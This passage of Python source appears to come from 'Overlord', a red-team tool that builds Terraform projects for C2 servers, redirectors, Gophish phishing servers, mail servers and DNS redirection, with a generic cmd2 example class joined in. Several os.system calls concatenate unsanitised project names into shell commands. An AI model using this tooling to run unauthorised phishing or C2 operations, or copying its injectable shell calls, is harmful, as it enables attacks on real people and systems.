mod["module"] == "dns_record": if arg.domain == list(mod["records"].keys())[0]: self.mod["domain"] = arg.domain self.mod["provider"] = mod["provider"] exception_flag = False break else: exception_flag = True if exception_flag: print( "A DNS record must be set for the specified domain before redirecting the NS!" ) #Set handler functions for the sub-commands parser_domain.set_defaults(func=set_domain) @cmd2.with_argparser(set_parser) def do_set(self, args): """Set the variables for the module""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') def do_add(self, args): """Adds c2 module to the project """ global module module = self.mod if self.mod["domain"]: module = self.mod return True else: print("The domain can not be None!") # Command categories CMD_CAT_GENERAL = 'General (type help <command>)' CMD_CAT_MODULE = 'Module (type help <command>)' cmd2.categorize((do_add, do_set), CMD_CAT_MODULE) cmd2.categorize(do_info, CMD_CAT_GENERAL)
class HelpCategories(cmd2.Cmd): """Example cmd2 application.""" START_TIMES = ['now', 'later', 'sometime', 'whenever'] # Command categories CMD_CAT_CONNECTING = 'Connecting' CMD_CAT_APP_MGMT = 'Application Management' CMD_CAT_SERVER_INFO = 'Server Information' def __init__(self): super().__init__() def do_connect(self, _): """Connect command""" self.poutput('Connect') # Tag the above command functions under the category Connecting cmd2.categorize(do_connect, CMD_CAT_CONNECTING) @cmd2.with_category(CMD_CAT_CONNECTING) def do_which(self, _): """Which command""" self.poutput('Which') def do_list(self, _): """List command""" self.poutput('List') def do_deploy(self, _): """Deploy command""" self.poutput('Deploy') start_parser = cmd2.DEFAULT_ARGUMENT_PARSER(description='Start', epilog='my_decorator runs even with argparse errors') start_parser.add_argument('when', choices=START_TIMES, help='Specify when to start') @my_decorator @cmd2.with_argparser(start_parser) def do_start(self, _): """Start command""" self.poutput('Start') def do_sessions(self, _): """Sessions command""" self.poutput('Sessions') def do_redeploy(self, _): """Redeploy command""" self.poutput('Redeploy') restart_parser = cmd2.DEFAULT_ARGUMENT_PARSER( description='Restart', epilog='my_decorator does not run when argparse errors' ) restart_parser.add_argument('when', choices=START_TIMES, help='Specify when to restart') @cmd2.with_argparser(restart_parser) @cmd2.with_category(CMD_CAT_APP_MGMT) @my_decorator def do_restart(self, _): """Restart command""" self.poutput('Restart') def do_expire(self, _): """Expire command""" self.poutput('Expire') def do_undeploy(self, _): """Undeploy command""" self.poutput('Undeploy') def do_stop(self, _): """Stop command""" self.poutput('Stop') def do_findleakers(self, _): """Find Leakers command""" self.poutput('Find Leakers') # Tag the above command functions under the category Application Management cmd2.categorize( (do_list, do_deploy, do_start, do_sessions, do_redeploy, do_expire, do_undeploy, do_stop, do_findleakers), CMD_CAT_APP_MGMT, ) def do_resources(self, _): """Resources command""" self.poutput('Resources') def do_status(self, _): """Status command""" self.poutput('Status') def do_serverinfo(self, _): """Server Info command""" self.poutput('Server Info') def do_thread_dump(self, _): """Thread Dump command""" self.poutput('Thread Dump') def do_sslconnectorciphers(self, _): """ SSL Connector Ciphers command is an example of a command that contains multiple lines of help information for the user. Each line of help in a contiguous set of lines will be printed and aligned in the verbose output provided with 'help --verbose' This is after a blank line and won't de displayed in the verbose help """ self.poutput('SSL Connector Ciphers') def do_vminfo(self, _): """VM Info command""" self.poutput('VM Info') # Tag the above command functions under the category Server Information cmd2.categorize(do_resources, CMD_CAT_SERVER_INFO) cmd2.categorize(do_status, CMD_CAT_SERVER_INFO) cmd2.categorize(do_serverinfo, CMD_CAT_SERVER_INFO) cmd2.categorize(do_thread_dump, CMD_CAT_SERVER_INFO) cmd2.categorize(do_sslconnectorciphers, CMD_CAT_SERVER_INFO) cmd2.categorize(do_vminfo, CMD_CAT_SERVER_INFO) # The following command functions don't have the HELP_CATEGORY attribute set # and show up in the 'Other' group def do_config(self, _): """Config command""" self.poutput('Config') def do_version(self, _): """Version command""" self.poutput(cmd2.__version__) @cmd2.with_category("Command Management") def do_disable_commands(self, _): """Disable the Application Management commands""" message_to_print = "{} is not available while {} commands are disabled".format(COMMAND_NAME, self.CMD_CAT_APP_MGMT) self.disable_category(self.CMD_CAT_APP_MGMT, message_to_print) self.poutput("The Application Management commands have been disabled") @cmd2.with_category("Command Management") def do_enable_commands(self, _): """Enable the Application Management commands""" self.enable_category(self.CMD_CAT_APP_MGMT) self.poutput("The Application Management commands have been enabled")
class cmd_main(cmd2.Cmd): """cmd2 instance for firewall module""" # The mod dictionary for the firewall module mod = {} providers_list = [] def __init__(self): super().__init__() global module global campaign_list # Hide the Quit funcitionality hide_cmd2_modules(self) dir_path = "config" if os.path.exists(dir_path + "/config.json"): with open(dir_path + '/config.json', 'r') as filehandle: config = json.load(filehandle) self.mod = config["mod_firewall"] self.providers_list = config["providers_list"] self.module_provider_parser.choices = self.providers_list else: print("The config/config.json file does not exists! Exiting...") return True # Check if the editmodule functionality was used if module: self.mod = dict(module) else: self.mod["id"] = randomString() # Create list with modules id modules_ids = [] for c in campaign_list: if c["module"] != "dns_record" and c[ "module"] != "letsencrypt" and c[ "module"] != "godaddy" and c["module"] != "redirector": modules_ids.insert(len(modules_ids), (c["id"] + "/" + c["module"])) self.module_mod_id_parser.choices = modules_ids # for c in campaign_list: # if c["module"] != "dns_record" and c["module"] != "letsencrypt" and c["module"] != "godaddy": # if c["module"] == "mail" or c["module"] == "redirector": # modules_ids.insert(len(modules_ids),(c["id"]+"/"+c["module"])) # else: # modules_ids.insert(len(modules_ids),(c["id"]+"/"+c["module"])) # for i in range(c["redirectors"]): # modules_ids.insert(len(modules_ids),(c["id"]+"-"+str(i+1)+"/"+c["module"])) self.module_mod_id_parser.choices = modules_ids def do_back(self, arg): """Return to main menu""" return True def do_clear(self, arg): """Clears screen""" os.system('clear') def do_info(self, mod): """Prints variable table""" if mod: x = PrettyTable() x.title = mod["module"] + "/" + mod["id"] x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", mod["id"], "N/A", "Module ID"]) x.add_row( ["provider", mod["provider"], "yes", "Provider to be used"]) x.add_row([ "protocol", mod["protocol"], "yes", "Protocol for the rule [tcp,udp,icmp]" ]) x.add_row([ "port", mod["port"], "yes", "Port or Range of ports [22,0-65535]" ]) x.add_row([ "address", mod["address"], "yes", "Addresses for the rule. Default 0.0.0.0/0. It can take more than one seperated by space" ]) x.add_row(["mod_id", mod["mod_id"], "yes", "Module to be used"]) x.add_row([ "rule", mod["rule"], "yes", "Rule to be used [inbound,outbound]" ]) x.align["DESCRITPION"] = "l" else: x = PrettyTable() x.title = 'Firewall module' x.field_names = ["VARIABLE", "VALUE", "REQUIRED", "DESCRITPION"] x.add_row(["id", self.mod["id"], "N/A", "Module ID"]) x.add_row([ "provider", self.mod["provider"], "yes", "Provider to be used" ]) x.add_row([ "protocol", self.mod["protocol"], "yes", "Protocol for the rule [tcp,udp,icmp]" ]) x.add_row([ "port", self.mod["port"], "yes", "Port or Range of ports [22,0-65535]" ]) x.add_row([ "address", self.mod["address"], "yes", "Addresses for the rule. Default 0.0.0.0/0. It can take more than one seperated by space" ]) x.add_row( ["mod_id", self.mod["mod_id"], "yes", "Module to be used"]) x.add_row([ "rule", self.mod["rule"], "yes", "Rule to be used [inbound,outbound]" ]) x.align["DESCRITPION"] = "l" print(x) # set command # create the top-level parser for the set command set_parser = argparse.ArgumentParser(prog='set') set_subparsers = set_parser.add_subparsers( title='set-commands', help='Sets the variables of the module') # create the parser for the "provider" sub-command parser_provider = set_subparsers.add_parser('provider', help='Provider to be used') module_provider_parser = parser_provider.add_argument( 'provider', choices=providers_list, type=str, help='example : [set provider <digitalocean> ]') # create the parser for the "port" sub-command parser_port = set_subparsers.add_parser('port', help='Ports to be used') module_port_parser = parser_port.add_argument( 'port', type=str, help='example : [set port <22-1000> ,set port 22 ]') # create the parser for the "protocol" sub-command parser_protocol = set_subparsers.add_parser('protocol', help='Protocol to be used') module_protocol_parser = parser_protocol.add_argument( 'protocol', choices=["tcp", "udp", "icmp"], type=str, help='example : [set protocol tcp ]') # create the parser for the "address" sub-command parser_address = set_subparsers.add_parser('address', help='Address to be used') module_address_parser = parser_address.add_argument( 'address', type=str, help='example : [set address 0.0.0.0/0 ]') # create the parser for the "rule" sub-command parser_rule = set_subparsers.add_parser('rule', help='Rule to be used') module_rule_parser = parser_rule.add_argument( 'rule', choices=["inbound", "outbound"], type=str, help='example : [set rule inbound ]') # create the parser for the "mod_id" sub-command parser_mod_id = set_subparsers.add_parser('mod_id', help='mod_id to be used') module_mod_id_parser = parser_mod_id.add_argument( 'mod_id', type=str, help='example : [set mod_id tcp ]') def set_port(self, arg): """Sets the port variable""" self.mod["port"] = arg.port def set_rule(self, arg): """Sets the rule variable""" self.mod["rule"] = arg.rule def set_protocol(self, arg): """Sets the protocol variable""" self.mod["protocol"] = arg.protocol def set_provider(self, arg): """Sets the provider variable""" self.mod["provider"] = arg.provider def set_address(self, arg): """Sets the address variable""" self.mod["address"] = arg.address def set_mod(self, arg): """Sets the mod_id variable""" self.mod["mod_id"] = arg.mod_id #Set handler functions for the sub-commands parser_provider.set_defaults(func=set_provider) parser_address.set_defaults(func=set_address) parser_port.set_defaults(func=set_port) parser_protocol.set_defaults(func=set_protocol) parser_rule.set_defaults(func=set_rule) parser_mod_id.set_defaults(func=set_mod) @cmd2.with_argparser(set_parser) def do_set(self, args): """Set the variables for the module""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') def do_add(self, args): """Adds c2 module to the project """ global module module = self.mod if self.mod["mod_id"]: module = self.mod return True else: print("The mod_id can not be None!") if self.mod["port"] and self.mod["protocol"] != "icmp": module = self.mod return True else: print("The port can not be None!") # Command categories CMD_CAT_GENERAL = 'General (type help <command>)' CMD_CAT_MODULE = 'Module (type help <command>)' cmd2.categorize((do_add, do_set), CMD_CAT_MODULE) cmd2.categorize(do_info, CMD_CAT_GENERAL)
class Overlord(cmd2.Cmd): """Main Menu for Overlord.""" os.system('clear') version = cmd2.ansi.style("v.1.0", fg='red', bg='', bold=True, underline=False) print(f""" _ _ _____ _____ _ __| | ___ _ __ __| | / _ \ \ / / _ \ '__| |/ _ \| '__/ _` | | (_) \ V / __/ | | | (_) | | | (_| | \___/ \_/ \___|_| |_|\___/|_| \__,_| {version} """) intro = "Welcome to Overlord!\nType help or ? to list commands\n" variables = { "dotoken": "", "domains": [], "aws_access_key": "", "aws_secret_key": "", "godaddy_access_key": "", "godaddy_secret_key": "" } campaign = [] modules_ids = [] project_id = "" def __init__(self): super().__init__() hide_cmd2_modules(self) #Initialize project ID dir_path = "projects" uniq = True while True: rand = randomString() for p in next(os.walk(dir_path))[1]: if p == rand: uniq = False if uniq: break self.project_id = rand self.prompt = "(" + cmd2.ansi.style( "Overlord", fg='red', bg='', bold=True, underline=False) + " : " + cmd2.ansi.style( rand, fg='bright_black', bg='', bold=True, underline=False) + ")" + "$> " self.loadproject_id.choices = next(os.walk(dir_path))[1] self.cloneproject_id.choices = next(os.walk(dir_path))[1] if os.path.exists(dir_path + "/variables.json"): with open(dir_path + '/variables.json', 'r') as filehandle: self.variables = json.load(filehandle) self.domain_parser_id.choices = self.variables["domains"] def do_clear(self, arg): """Clear the screen""" os.system('clear') def do_exit(self, arg): """exit to main menu""" flag = input( cmd2.ansi.style("Exit? [y/N]:", fg='red', bg='', bold=True, underline=False)) if flag == 'y': return True def do_version(self, arg): """Version""" print("version 1.0") def do_create(self, arg): """Creates terraform project from the campaign""" dir_path = "projects/" + self.project_id self.do_save(None) create.main(self.campaign, self.variables, self.project_id) newproject_parser = argparse.ArgumentParser(prog='new') newproject_id = newproject_parser.add_argument( 'id', type=str, nargs="?", help='example: new / new <name> ]') @cmd2.with_argparser(newproject_parser) def do_new(self, arg): """Creates new terraform project.""" dir_path = "projects" if arg.id is None: uniq = True while True: rand = randomString() for p in next(os.walk(dir_path))[1]: if p == rand: uniq = False if uniq: break self.project_id = rand else: self.project_id = arg.id self.campaign = [] proj = cmd2.ansi.style(self.project_id, fg='blue', bg='', bold=True, underline=False) notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) print( f"""\n{notification} New project with ID {proj} has been created. {notification}\n""" ) self.prompt = "(" + cmd2.ansi.style( "Overlord", fg='red', bg='', bold=True, underline=False) + " : " + cmd2.ansi.style( self.project_id, fg='bright_black', bg='', bold=True, underline=False) + ")" + "$> " def create_dir(self): """Creates the project directory""" os.system('mkdir projects/' + self.project_id) os.system('mkdir projects/' + self.project_id + '/ssh_keys') os.system('mkdir projects/' + self.project_id + '/ssh_configs') os.system('mkdir projects/' + self.project_id + '/certificates') loadproject_parser = argparse.ArgumentParser(prog='load') loadproject_id = loadproject_parser.add_argument( 'id', type=str, help='example: [ load <ID> ]') @cmd2.with_argparser(loadproject_parser) def do_load(self, arg): """Load a project to overlord""" dir_path = "projects/" + arg.id if os.path.exists(dir_path): with open(dir_path + '/campaign.json', 'r') as filehandle: self.campaign = json.load(filehandle) with open(dir_path + '/variables.json', 'r') as filehandle: self.variables = json.load(filehandle) self.project_id = arg.id proj = cmd2.ansi.style(self.project_id, fg='blue', bg='', bold=True, underline=False) notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) print( f"""\n{notification} The project with ID {proj} has been loaded {notification}\n""" ) self.update_choices(self.campaign) self.prompt = "(" + cmd2.ansi.style( "Overlord", fg='red', bg='', bold=True, underline=False) + " : " + cmd2.ansi.style( self.project_id, fg='bright_black', bg='', bold=True, underline=False) + ")" + "$> " cloneproject_parser = argparse.ArgumentParser(prog='clone') cloneproject_id = cloneproject_parser.add_argument( 'id', type=str, help='example: [ clone <ID> ]') cloneproject_parser.add_argument('-n', '--name', type=str, help='Name of the new project') @cmd2.with_argparser(cloneproject_parser) def do_clone(self, arg): """Clones a project to a new one""" project_to_clone = arg.id dir_path = "projects/" + project_to_clone notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) new_path = "" new_project_name = "" if arg.name is None: uniq = True while True: rand = randomString() for p in next(os.walk(dir_path))[1]: if p == rand: uniq = False if uniq: break new_path = "projects/" + rand new_project_name = rand else: new_path = "projects/" + arg.name new_project_name = arg.name if not os.path.exists(new_path): command = 'mkdir ' + new_path os.system(command) shutil.copy(dir_path + '/campaign.json', new_path + '/campaign.json') shutil.copy(dir_path + '/variables.json', new_path + '/variables.json') self.loadproject_id.choices = next(os.walk("projects"))[1] self.cloneproject_id.choices = next(os.walk("projects"))[1] print( f"""\n{notification} The project with ID {project_to_clone} has been cloned to {new_project_name} {notification}\n""" ) else: print( f"""\n{notification} The project with ID {new_project_name} already exists! {notification}\n""" ) #@cmd2.with_argparser(deleteproject_parser) def do_delete(self, arg): """Deletes a project""" flag = input( cmd2.ansi.style("Are you sure? [y/N]:", fg='red', bg='', bold=True, underline=False)) if flag == 'y': dir_path = "projects/" + self.project_id + "/.terraform" if os.path.exists(dir_path): os.system( f"""cd projects/{self.project_id} && /opt/terraform state rm module.redirect_ns""" ) os.system( f"""cd projects/{self.project_id} && /opt/terraform destroy -auto-approve""" ) os.system( f"""rm projects/{self.project_id}/terraform.tfstate*""") shutil.rmtree(f"""projects/{self.project_id}/.terraform""") notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) print( f"""\n{notification} Check if terraform exited without an error before you proceed. {notification}\n""" ) flag1 = input( cmd2.ansi.style( "Proceding with deleting project directory. Are you sure? [y/N]:", fg='red', bg='', bold=True, underline=False)) if flag1 == "y": shutil.rmtree("projects/" + self.project_id) self.loadproject_id.choices = next(os.walk("projects"))[1] self.cloneproject_id.choices = next(os.walk("projects"))[1] self.update_choices(self.campaign) proj = cmd2.ansi.style(self.project_id, fg='blue', bg='', bold=True, underline=False) notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) print( f"""\n{notification} The project with ID {proj} has been deleted {notification}\n""" ) def do_save(self, arg): """Save a project""" dir_path = "projects/" + self.project_id if not os.path.exists(dir_path): self.create_dir() with open(dir_path + '/campaign.json', 'w') as filehandle: json.dump(self.campaign, filehandle, indent=4) with open(dir_path + '/variables.json', 'w') as filehandle: json.dump(self.variables, filehandle, indent=4) self.loadproject_id.choices = next(os.walk("projects"))[1] self.cloneproject_id.choices = next(os.walk("projects"))[1] proj = cmd2.ansi.style(self.project_id, fg='blue', bg='', bold=True, underline=False) notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) print( f"""\n{notification} The config files for the project with ID {proj} have been created {notification}\n""" ) def do_rename(self, arg): """Rename a project""" notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) if not arg: print( f"""\n{notification} You have to specify a new name for your project! {notification}\n""" ) else: proj_old = cmd2.ansi.style(self.project_id, fg='blue', bg='', bold=True, underline=False) dir_path = "projects/" + self.project_id if os.path.exists(dir_path): os.rename("projects/" + self.project_id, "projects/" + arg) self.project_id = arg self.loadproject_id.choices = next(os.walk("projects"))[1] self.cloneproject_id.choices = next(os.walk("projects"))[1] proj = cmd2.ansi.style(self.project_id, fg='blue', bg='', bold=True, underline=False) print( f"""\n{notification} The project with ID {proj_old} has been renamed to {proj} {notification}\n""" ) self.prompt = "(" + cmd2.ansi.style( "Overlord", fg='red', bg='', bold=True, underline=False) + " : " + cmd2.ansi.style( self.project_id, fg='bright_black', bg='', bold=True, underline=False) + ")" + "$> " def do_deploy(self, arg): """Deploy current project""" proj = cmd2.ansi.style(self.project_id, fg='blue', bg='', bold=True, underline=False) notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) print( f"""\n{notification} Started deployment of project with ID {proj} {notification}\n""" ) os.system( f"""mkdir -p projects/{self.project_id}/.terraform/plugins/linux_amd64 """ ) os.system( f"""cp redbaron/data/plugins/terraform-provider-godaddy_v1.7.3_x4 projects/{self.project_id}/.terraform/plugins/linux_amd64/terraform-provider-godaddy_v1.7.3_x4""" ) os.system( f"""chmod -R a+x projects/{self.project_id}/.terraform/plugins/linux_amd64/*""" ) os.system(f"""cd projects/{self.project_id} && /opt/terraform init""") os.system(f"""cd projects/{self.project_id} && /opt/terraform plan""") os.system( f"""cd projects/{self.project_id} && /opt/terraform apply -auto-approve""" ) print( f"""\n{notification} Terraform has finished with the installation {notification}\n""" ) # USEMODULE COMMAND # create the top-level parser for the usemodule command usemodule_parser = argparse.ArgumentParser(prog='usemodule') usemodule_subparsers = usemodule_parser.add_subparsers( title='usemodule-commands', help='usemodule-command help') # create the parser for the sub-command parser_dns_records = usemodule_subparsers.add_parser( 'dns_records', help='Settings to create a dns_record instance') parser_gophish = usemodule_subparsers.add_parser( 'gophish', help='Settings to create a gophish instance') parser_mail = usemodule_subparsers.add_parser( 'mail', help='Settings to create a mail instance') parser_webserver = usemodule_subparsers.add_parser( 'webserver', help='Settings to create a webserver instance') parser_c2 = usemodule_subparsers.add_parser( 'c2', help='Settings to create a c2 instance') parser_letsencrypt = usemodule_subparsers.add_parser( 'letsencrypt', help='Settings to create letsencrypt instance') parser_redirector = usemodule_subparsers.add_parser( 'redirector', help='Settings to create redirector instance') parser_godaddy = usemodule_subparsers.add_parser( 'godaddy', help='Settings to create godaddy NS redirection in a provider of choice' ) parser_ansible = usemodule_subparsers.add_parser( 'ansible', help='Settings to install asnible playbooks') #parser_firewall = usemodule_subparsers.add_parser('firewall', help='firewall help') def update_choices(self, camp): """Update choices of the argparses for:INFO, DELETE ,EDIT module""" self.info_mods_id.choices = updateModulesIdList(camp, "info") self.del_mods_id.choices = updateModulesIdList(camp, "del") self.edit_mods_id.choices = updateModulesIdList(camp, "edit") def usemodule_dns_record(self, arg): """Opens the DNS_RECORD module for configuration""" if not self.variables["domains"]: print("No domains are set! [help set domains]") elif len(self.campaign) == 0: print("No modules are set! [help usemodule]") else: dns_records.main(self.variables["domains"], self.campaign, None, self.project_id) addModule(dns_records.module, self.campaign) self.update_choices(self.campaign) dns_records.module = {} def usemodule_redirector(self, arg): """Opens the Redirector module for configuration""" redirector.main(None, self.campaign, self.project_id) addModule(redirector.module, self.campaign) self.update_choices(self.campaign) redirector.module = {} def usemodule_c2(self, arg): """Opens the C2 module for configuration""" c2.main(self.campaign, None, self.project_id) addModule(c2.module, self.campaign) self.update_choices(self.campaign) c2.module = {} def usemodule_ansible(self, arg): """Opens the C2 module for configuration""" ansible.main(self.campaign, None, self.project_id) addModule(ansible.module, self.campaign) self.update_choices(self.campaign) ansible.module = {} # TODO: Maybe in a future update # def usemodule_firewall(self, arg): # """Opens the Firewall module for configuration""" # if len(self.campaign) == 0: # print("No modules are set! [help usemodule]") # firewall.main(self.campaign,None) # addModule(firewall.module,self.campaign) # self.update_choices(self.campaign) # firewall.module={} def usemodule_godaddy(self, arg): """Opens the Godaddy module for configuration""" if not self.variables["godaddy_access_key"]: print( "The access key of Godaddy is not set! [help set godaddy_access_key]" ) elif not self.variables["godaddy_secret_key"]: print( "The secret key of Godaddy is not set! [help set godaddy_secret_key]" ) elif not self.variables["domains"]: print("No domains are set! [help set domains]") else: godaddy.main(self.campaign, self.variables["domains"], None, self.project_id) addModule(godaddy.module, self.campaign) self.update_choices(self.campaign) godaddy.module = {} def usemodule_mail(self, arg): """Opens the mail module for configuration""" if not self.variables["domains"]: print("No domains are set! [help set domains]") else: mail_server.main(self.variables["domains"], self.campaign, None, self.project_id) addModule(mail_server.module, self.campaign) self.update_choices(self.campaign) mail_server.module = {} def usemodule_webserver(self, arg): """Opens the webserver module for configuration""" webserver.main(self.campaign, None, self.project_id) addModule(webserver.module, self.campaign) self.update_choices(self.campaign) webserver.module = {} def usemodule_gophish(self, arg): """Opens the gophish module for configuration""" gophish.main(self.campaign, None, self.project_id) addModule(gophish.module, self.campaign) self.update_choices(self.campaign) gophish.module = {} def usemodule_letsencrypt(self, arg): """Opens the letsencrypt module for configuration""" a_records = False for c in self.campaign: if c["module"] == "dns_record" and c["type"] == "A": a_records = True break if a_records == False: print("No A records were set! [help usemodule dns_records]") else: letsencrypt.main(self.campaign, None, self.project_id) #self.variables["domains"] addModule(letsencrypt.module, self.campaign) self.update_choices(self.campaign) letsencrypt.module = {} # usemodule handler functions for the sub-commands parser_dns_records.set_defaults(func=usemodule_dns_record) parser_c2.set_defaults(func=usemodule_c2) parser_gophish.set_defaults(func=usemodule_gophish) parser_mail.set_defaults(func=usemodule_mail) parser_webserver.set_defaults(func=usemodule_webserver) parser_letsencrypt.set_defaults(func=usemodule_letsencrypt) parser_redirector.set_defaults(func=usemodule_redirector) parser_godaddy.set_defaults(func=usemodule_godaddy) parser_ansible.set_defaults(func=usemodule_ansible) # parser_firewall.set_defaults(func=usemodule_firewall) @cmd2.with_argparser(usemodule_parser) def do_usemodule(self, args): """Usemodule command help""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') # DELETEMODULE COMMAND # create the parser for the delmodule command delmodule_parser = argparse.ArgumentParser(prog='delmodule') del_mods_id = delmodule_parser.add_argument('id', type=str, choices=modules_ids, help='delete module') @cmd2.with_argparser(delmodule_parser) def do_delmodule(self, arg): """Deletes a module""" if arg.id == "all": self.campaign = [] notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) print( f"""\n{notification} All modules have been deleted from the campaign {notification}\n""" ) else: for idx, c in enumerate(self.campaign): if arg.id == c["id"]: self.campaign.pop(idx) mod = cmd2.ansi.style(c["module"], fg='blue', bg='', bold=True, underline=False) mod_id = cmd2.ansi.style(c["id"], fg='blue', bg='', bold=True, underline=False) notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) print( f"""\n{notification} Module {mod} with ID {mod_id} has been deleted from the campaign {notification}\n""" ) # EDITMODULE COMMAND # create the parser for the editmodule command editmodule_parser = argparse.ArgumentParser(prog='editmodule') edit_mods_id = editmodule_parser.add_argument( 'id', type=str, choices=modules_ids, help='example: [ editmodule <ID> ]') @cmd2.with_argparser(editmodule_parser) def do_editmodule(self, arg): """Edits a module""" #Checks the module type and pass it to the correct module for processing for idx, c in enumerate(self.campaign): if arg.id == c["id"]: mod = self.campaign.pop(idx) if c["module"] == "c2": c2.main(self.campaign, mod, self.project_id) addModule(c2.module, self.campaign) self.update_choices(self.campaign) c2.module = {} break if c["module"] == "dns_record": dns_records.main(self.variables["domains"], self.campaign, mod, self.project_id) addModule(dns_records.module, self.campaign) self.update_choices(self.campaign) dns_records.module = {} break if c["module"] == "redirector": redirector.main(mod, self.campaign, self.project_id) addModule(redirector.module, self.campaign) self.update_choices(self.campaign) redirector.module = {} break if c["module"] == "gophish": gophish.main(self.campaign, mod, self.project_id) addModule(gophish.module, self.campaign) self.update_choices(self.campaign) gophish.module = {} break if c["module"] == "letsencrypt": letsencrypt.main( self.campaign, mod, self.project_id) #self.variables["domains"] addModule(letsencrypt.module, self.campaign) self.update_choices(self.campaign) letsencrypt.module = {} break if c["module"] == "mail": mail_server.main(self.variables["domains"], self.campaign, mod, self.project_id) addModule(mail_server.module, self.campaign) self.update_choices(self.campaign) mail_server.module = {} break if c["module"] == "webserver": webserver.main(self.campaign, mod, self.project_id) addModule(webserver.module, self.campaign) self.update_choices(self.campaign) webserver.module = {} break if c["module"] == "godaddy": godaddy.main(self.campaign, self.variables["domains"], mod, self.project_id) addModule(godaddy.module, self.campaign) self.update_choices(self.campaign) godaddy.module = {} break if c["module"] == "ansible": ansible.main(self.campaign, mod, self.project_id) addModule(ansible.module, self.campaign) self.update_choices(self.campaign) ansible.module = {} break # if c["module"] == "firewall": # firewall.main(self.campaign,mod) # addModule(firewall.module,self.campaign) # self.update_choices(self.campaign) # firewall.module={} # break # SET COMMAND # create the top-level parser for the set command set_parser = argparse.ArgumentParser(prog='set') set_subparsers = set_parser.add_subparsers(title='set-commands', help='set-command help') # create the parser for the "counter" sub-command parser_dotoken = set_subparsers.add_parser( 'dotoken', help='Sets the Digital Ocean Token') parser_dotoken.add_argument('dotoken', type=str, help='example : [ set dotoken <token>]') parser_aws_secret_key = set_subparsers.add_parser( 'aws_secret_key', help='Sets the AWS Secret Key') parser_aws_secret_key.add_argument( 'aws_secret_key', type=str, help='example : [ set aws_secret_key <token>]') parser_aws_access_key = set_subparsers.add_parser( 'aws_access_key', help='Sets the AWS Access Key') parser_aws_access_key.add_argument( 'aws_access_key', type=str, help='example : [ set aws_access_key <token>]') parser_godaddy_access_key = set_subparsers.add_parser( 'godaddy_access_key', help='Sets the Godaddy Access Key') parser_godaddy_access_key.add_argument( 'godaddy_access_key', type=str, help='example : [ set godaddy_access_key <token>]') parser_godaddy_secret_key = set_subparsers.add_parser( 'godaddy_secret_key', help='Sets the Godaddy Secret Key') parser_godaddy_secret_key.add_argument( 'godaddy_secret_key', type=str, help='example : [ set godaddy_secret_key <token>]') parser_domains = set_subparsers.add_parser( 'domains', help= 'Domain names to be used in the campaign (Multilpe domain names can be added)' ) parser_domains.add_argument('-a', '--add', type=str, help='Domain to be added') domain_parser_id = parser_domains.add_argument('-d', '--delete', type=str, choices=("kokos.com", "a.com"), help='Domain to be deleted') parser_variables = set_subparsers.add_parser( 'variables', help='Sets the default variables.json to the values that are in memory' ) parser_variables.add_argument('variables', nargs="?", type=str, help='example : [ set variables]') def set_dotoken(self, arg): """Sets the dotoken""" self.variables["dotoken"] = arg.dotoken def set_aws_access_key(self, arg): """Sets the aws_access_key""" self.variables["aws_access_key"] = arg.aws_access_key def set_aws_secret_key(self, arg): """Sets the aws_secret_key""" self.variables["aws_secret_key"] = arg.aws_secret_key def set_godaddy_access_key(self, arg): """Sets the aws_access_key""" self.variables["godaddy_access_key"] = arg.godaddy_access_key def set_godaddy_secret_key(self, arg): """Sets the aws_access_key""" self.variables["godaddy_secret_key"] = arg.godaddy_secret_key def set_domains(self, arg): """Sets the domains""" if arg.add: self.variables["domains"].insert((len(self.variables["domains"])), arg.add) elif arg.delete: for idx, c in enumerate(self.variables["domains"]): if arg.delete == c: self.variables["domains"].pop(idx) self.domain_parser_id.choices = self.variables["domains"] def set_variables(self, arg): with open('projects/variables.json', 'w') as filehandle: json.dump(self.variables, filehandle, indent=4) notification = cmd2.ansi.style("***", fg='red', bg='', bold=True, underline=False) print( f"""\n{notification} Variables have been saved to ./projects/variables.json {notification}\n""" ) #Set handler functions for the sub-commands parser_variables.set_defaults(func=set_variables) parser_dotoken.set_defaults(func=set_dotoken) parser_aws_access_key.set_defaults(func=set_aws_access_key) parser_aws_secret_key.set_defaults(func=set_aws_secret_key) parser_godaddy_access_key.set_defaults(func=set_godaddy_access_key) parser_godaddy_secret_key.set_defaults(func=set_godaddy_secret_key) parser_domains.set_defaults(func=set_domains) @cmd2.with_argparser(set_parser) def do_set(self, args): """General variables for the campaign to be set""" func = getattr(args, 'func', None) if func is not None: # Call whatever sub-command function was selected func(self, args) else: # No sub-command was provided, so call help self.do_help('help') # INFO COMMAND # create the top-level parser for the info command info_parser = argparse.ArgumentParser(prog='info') info_mods_id = info_parser.add_argument('id', nargs="?", type=str, choices=modules_ids, help='example: [ info <ID> ]') def info_table(self, c): """Uses Pretty Table to print the info for a specific campaign object""" if c["module"] == "c2": c2.cmd_main.do_info(None, c) if c["module"] == "redirector": redirector.cmd_main.do_info(None, c) if c["module"] == "dns_record": dns_records.cmd_main.do_info(None, c) if c["module"] == "gophish": gophish.cmd_main.do_info(None, c) if c["module"] == "letsencrypt": letsencrypt.cmd_main.do_info(None, c) if c["module"] == "mail": mail_server.cmd_main.do_info(None, c) if c["module"] == "webserver": webserver.cmd_main.do_info(None, c) if c["module"] == "godaddy": godaddy.cmd_main.do_info(None, c) if c["module"] == "ansible": ansible.cmd_main.do_info(None, c) # if c["module"] == "firewall": # firewall.cmd_main.do_info(None,c) @cmd2.with_argparser(info_parser) def do_info(self, arg): """Prints variable table or contents of a module which was added to the campaign""" if arg.id is not None: #Prints table for all or one module by specifing the ID if arg.id == "all": for 